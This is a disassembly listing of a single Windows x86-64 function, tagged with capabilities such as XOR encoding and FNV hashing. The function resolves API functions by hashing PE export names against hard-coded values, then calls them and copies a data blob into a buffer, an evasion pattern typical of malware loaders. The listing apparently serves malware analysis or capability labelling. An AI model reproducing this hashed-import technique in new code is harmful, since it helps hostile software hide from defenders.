Function at 0x140004b70
Capabilities:
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x1400080c8]
mov r15d, 1
mov rdi, rcx
movabs rbp, 0x100000001b3
movabs r13, 0xcbf29ce484222325
lea r12d, [r15 + 3]
test rax, rax
jne 0x140004c51
mov rdx, qword [0x1400081c0]
test rdx, rdx
jne 0x140004bd7
mov rdx, qword [0x1400080f8]
mov qword [0x1400081c0], rdx
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov ebx, dword [rcx + 0x18]
add r11, rdx
xor edx, edx
test ebx, ebx
je 0x140004c47
mov ecx, dword [r8]
mov r9, r13
add rcx, qword [0x1400081c0]
mov al, byte [rcx]
test al, al
je 0x140004c3d
add rcx, r15
movsx rax, al
xor r9, rax
imul r9, rbp
mov al, byte [rcx]
test al, al
jne 0x140004c16
movabs rax, 0xc51c45581f224a39
cmp r9, rax
je 0x14000543c
add edx, r15d
add r8, r12
cmp edx, ebx
jb 0x140004c03
int3
mov qword [0x1400080c8], rax
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
lea esi, [r9 + 0xd]
mov edx, esi
call qword [0x140007080]
mov r14, rax
mov rax, qword [0x140008050]
test rax, rax
jne 0x140004d16
mov r8, qword [0x1400081c0]
test r8, r8
jne 0x140004c99
mov r8, qword [0x1400080f8]
mov qword [0x1400081c0], r8
movsxd rcx, dword [r8 + 0x3c]
mov edx, dword [rcx + r8 + 0x88]
add rdx, r8
mov r10d, dword [rdx + 0x1c]
mov r9d, dword [rdx + 0x20]
add r10, r8
mov r11d, dword [rdx + 0x24]
add r9, r8
mov ebx, dword [rdx + 0x18]
add r11, r8
xor r8d, r8d
test ebx, ebx
je 0x140004d0c
mov ecx, dword [r9]
mov rdx, r13
add rcx, qword [0x1400081c0]
mov al, byte [rcx]
test al, al
je 0x140004d01
add rcx, r15
movsx rax, al
xor rdx, rax
imul rdx, rbp
mov al, byte [rcx]
test al, al
jne 0x140004cda
movabs rax, 0x1549df88d773bfa1
cmp rdx, rax
je 0x140005451
add r8d, r15d
add r9, r12
cmp r8d, ebx
jb 0x140004cc7
int3
mov qword [0x140008050], rax
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [0x140007080]
mov rax, qword [0x1400080a0]
test rax, rax
jne 0x140004dc8
mov rdx, qword [0x1400081c0]
test rdx, rdx
jne 0x140004d4e
mov rdx, qword [0x1400080f8]
mov qword [0x1400081c0], rdx
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov ebx, dword [rcx + 0x18]
add r11, rdx
xor edx, edx
test ebx, ebx
je 0x140004dbe
mov ecx, dword [r8]
mov r9, r13
add rcx, qword [0x1400081c0]
mov al, byte [rcx]
test al, al
je 0x140004db4
add rcx, r15
movsx rax, al
xor r9, rax
imul r9, rbp
mov al, byte [rcx]
test al, al
jne 0x140004d8d
movabs rax, 0x96b081538803f1a4
cmp r9, rax
je 0x140005466
add edx, r15d
add r8, r12
cmp edx, ebx
jb 0x140004d7a
int3
mov qword [0x1400080a0], rax
mov dword [rsp + 0x28], 0x10
xor r9d, r9d
and dword [rsp + 0x20], 0
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [0x140007080]
mov rbp, rax
movabs rdi, 0xb9b08032afeb3a00
mov rax, qword [0x1400080b0]
test rax, rax
jne 0x140004e9d
mov rdx, qword [0x1400081c0]
test rdx, rdx
jne 0x140004e1d
mov rdx, qword [0x1400080f8]
mov qword [0x1400081c0], rdx
movsxd rcx, dword [rdx + 0x3c]
mov eax, dword [rcx + rdx + 0x88]
add rax, rdx
mov r10d, dword [rax + 0x1c]
mov r8d, dword [rax + 0x20]
add r10, rdx
mov r11d, dword [rax + 0x24]
add r8, rdx
mov ebx, dword [rax + 0x18]
add r11, rdx
xor edx, edx
test ebx, ebx
je 0x140004e93
mov ecx, dword [r8]
mov r9, r13
add rcx, qword [0x1400081c0]
mov al, byte [rcx]
test al, al
je 0x140004e89
movabs r12, 0x100000001b3
add rcx, r15
movsx rax, al
xor r9, rax
imul r9, r12
mov al, byte [rcx]
test al, al
jne 0x140004e66
mov r12d, 4
cmp r9, rdi
je 0x14000547b
add edx, r15d
add r8, r12
cmp edx, ebx
jb 0x140004e49
int3
mov qword [0x1400080b0], rax
mov edx, r12d
mov rcx, r14
call qword [0x140007080]
movabs r13, 0x2a9366c7ea2547b0
test eax, eax
je 0x1400050ee
mov rax, qword [0x1400080b8]
test rax, rax
jne 0x140004f66
mov rdx, qword [0x1400081c0]
test rdx, rdx
jne 0x140004ee5
mov rdx, qword [0x1400080f8]
mov qword [0x1400081c0], rdx
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov ebx, dword [rcx + 0x18]
add r11, rdx
xor edx, edx
test ebx, ebx
je 0x140004f5c
mov ecx, dword [r8]
movabs r9, 0xcbf29ce484222325
add rcx, qword [0x1400081c0]
mov al, byte [rcx]
test al, al
je 0x140004f52
movabs rdi, 0x100000001b3
add rcx, r15
movsx rax, al
xor r9, rax
imul r9, rdi
mov al, byte [rcx]
test al, al
jne 0x140004f35
cmp r9, r13
je 0x140005490
add edx, r15d
add r8, r12
cmp edx, ebx
jb 0x140004f11
int3
mov qword [0x1400080b8], rax
mov rdx, r14
mov rcx, rbp
call qword [0x140007080]
mov rax, qword [0x1400080d0]
test rax, rax
jne 0x140005027
mov rdx, qword [0x1400081c0]
test rdx, rdx
jne 0x140004f9c
mov rdx, qword [0x1400080f8]
mov qword [0x1400081c0], rdx
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov ebx, dword [rcx + 0x18]
add r11, rdx
xor edx, edx
test ebx, ebx
je 0x14000501d
mov ecx, dword [r8]
movabs r9, 0xcbf29ce484222325
add rcx, qword [0x1400081c0]
mov al, byte [rcx]
test al, al
je 0x140005013
movabs r13, 0x100000001b3
add rcx, r15
movsx rax, al
xor r9, rax
imul r9, r13
mov al, byte [rcx]
test al, al
jne 0x140004fec
movabs rax, 0xd11f30a6b846b0d
cmp r9, rax
je 0x1400054a5
add edx, r15d
add r8, r12
cmp edx, ebx
jb 0x140004fc8
int3
mov qword [0x1400080d0], rax
mov rcx, r14
call qword [0x140007080]
mov rax, qword [0x140008020]
test rax, rax
jne 0x1400050e5
mov rdx, qword [0x1400081c0]
test rdx, rdx
jne 0x14000505a
mov rdx, qword [0x1400080f8]
mov qword [0x1400081c0], rdx
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov ebx, dword [rcx + 0x18]
add r11, rdx
xor edx, edx
test ebx, ebx
je 0x1400050db
mov ecx, dword [r8]
movabs r9, 0xcbf29ce484222325
add rcx, qword [0x1400081c0]
mov al, byte [rcx]
test al, al
je 0x1400050d1
movabs rdi, 0x100000001b3
add rcx, r15
movsx rax, al
xor r9, rax
imul r9, rdi
mov al, byte [rcx]
test al, al
jne 0x1400050aa
movabs rax, 0x8e6c891b6acc6c0e
cmp r9, rax
je 0x1400054ba
add edx, r15d
add r8, r12
cmp edx, ebx
jb 0x140005086
int3
mov qword [0x140008020], rax
mov rcx, r14
call qword [0x140007080]
lea rdx, section..data
mov rcx, rbp
sub rdx, rbp
mov al, byte [rdx + rcx]
mov byte [rcx], al
add rcx, r15
sub rsi, r15
jne 0x1400050fb
mov rax, qword [0x1400080b0]
test rax, rax
jne 0x1400051bd
mov rdx, qword [0x1400081c0]
test rdx, rdx
jne 0x140005132
mov rdx, qword [0x1400080f8]
mov qword [0x1400081c0], rdx
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov ebx, dword [rcx + 0x18]
add r11, rdx
xor edx, edx
test ebx, ebx
je 0x1400051b3
mov ecx, dword [r8]
movabs r9, 0xcbf29ce484222325
add rcx, qword [0x1400081c0]
mov al, byte [rcx]
test al, al
je 0x1400051a9
movabs rdi, 0x100000001b3
add rcx, r15
movsx rax, al
xor r9, rax
imul r9, rdi
mov al, byte [rcx]
test al, al
jne 0x140005182
movabs rdi, 0xb9b08032afeb3a00
cmp r9, rdi
je 0x1400054cf
add edx, r15d
add r8, r12
cmp edx, ebx
jb 0x14000515e
int3
mov qword [0x1400080b0], rax
mov edx, 2
mov rcx, r14
call qword [0x140007080]
mov edi, eax
mov rax, qword [0x1400080b8]
test rax, rax
jne 0x140005285
mov r8, qword [0x1400081c0]
test r8, r8
jne 0x1400051f7
mov r8, qword [0x1400080f8]
mov qword [0x1400081c0], r8
movsxd rcx, dword [r8 + 0x3c]
mov edx, dword [rcx + r8 + 0x88]
add rdx, r8
mov r10d, dword [rdx + 0x1c]
mov r9d, dword [rdx + 0x20]
add r10, r8
mov r11d, dword [rdx + 0x24]
add r9, r8
mov ebx, dword [rdx + 0x18]
add r11, r8
xor r8d, r8d
test ebx, ebx
je 0x14000527b
mov ecx, dword [r9]
movabs rdx, 0xcbf29ce484222325
add rcx, qword [0x1400081c0]
mov al, byte [rcx]
test al, al
je 0x140005270
movabs r13, 0x100000001b3
add rcx, r15
movsx rax, al
xor rdx, rax
imul rdx, r13
mov al, byte [rcx]
test al, al
jne 0x140005249
movabs r13, 0x2a9366c7ea2547b0
cmp rdx, r13
je 0x1400054e4
add r8d, r15d
add r9, r12
cmp r8d, ebx
jb 0x140005225
int3
mov qword [0x1400080b8], rax
mov rdx, r14
mov rcx, rbp
call qword [0x140007080]
mov rax, qword [0x1400080d0]
test rax, rax
jne 0x14000534c
mov rdx, qword [0x1400081c0]
test rdx, rdx
jne 0x1400052bb
mov rdx, qword [0x1400080f8]
mov qword [0x1400081c0], rdx
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov ebx, dword [rcx + 0x18]
add r11, rdx
xor edx, edx
test ebx, ebx
je 0x140005342
mov ecx, dword [r8]
movabs r9, 0xcbf29ce484222325
add rcx, qword [0x1400081c0]
mov al, byte [rcx]
test al, al
je 0x140005338
movabs r12, 0x100000001b3
add rcx, r15
movsx rax, al
xor r9, rax
imul r9, r12
mov al, byte [rcx]
test al, al
jne 0x14000530b
movabs rax, 0xd11f30a6b846b0d
mov r12d, 4
cmp r9, rax
je 0x1400054f9
add edx, r15d
add r8, r12
cmp edx, ebx
jb 0x1400052e7
int3
mov qword [0x1400080d0], rax
mov rcx, r14
call qword [0x140007080]
mov rax, qword [0x140008020]
test rax, rax
jne 0x140005410
mov rdx, qword [0x1400081c0]
test rdx, rdx
jne 0x14000537f
mov rdx, qword [0x1400080f8]
mov qword [0x1400081c0], rdx
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov ebx, dword [rcx + 0x18]
add r11, rdx
xor edx, edx
test ebx, ebx
je 0x140005406
mov ecx, dword [r8]
movabs r9, 0xcbf29ce484222325
add rcx, qword [0x1400081c0]
mov al, byte [rcx]
test al, al
je 0x1400053fc
movabs r12, 0x100000001b3
add rcx, r15
movsx rax, al
xor r9, rax
imul r9, r12
mov al, byte [rcx]
test al, al
jne 0x1400053cf
movabs rax, 0x8e6c891b6acc6c0e
mov r12d, 4
cmp r9, rax
je 0x14000550e
add edx, r15d
add r8, r12
cmp edx, ebx
jb 0x1400053ab
int3
mov qword [0x140008020], rax
mov rcx, r14
call qword [0x140007080]
lea r11, [rsp + 0x40]
test edi, edi
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
setne al
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
movzx ecx, word [r11 + rdx*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400081c0]
jmp 0x140004c4a
movzx ecx, word [r11 + r8*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400081c0]
jmp 0x140004d0f
movzx ecx, word [r11 + rdx*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400081c0]
jmp 0x140004dc1
movzx ecx, word [r11 + rdx*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400081c0]
jmp 0x140004e96
movzx ecx, word [r11 + rdx*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400081c0]
jmp 0x140004f5f
movzx ecx, word [r11 + rdx*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400081c0]
jmp 0x140005020
movzx ecx, word [r11 + rdx*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400081c0]
jmp 0x1400050de
movzx ecx, word [r11 + rdx*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400081c0]
jmp 0x1400051b6
movzx ecx, word [r11 + r8*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400081c0]
jmp 0x14000527e
movzx ecx, word [r11 + rdx*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400081c0]
jmp 0x140005345
movzx ecx, word [r11 + rdx*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400081c0]
jmp 0x140005409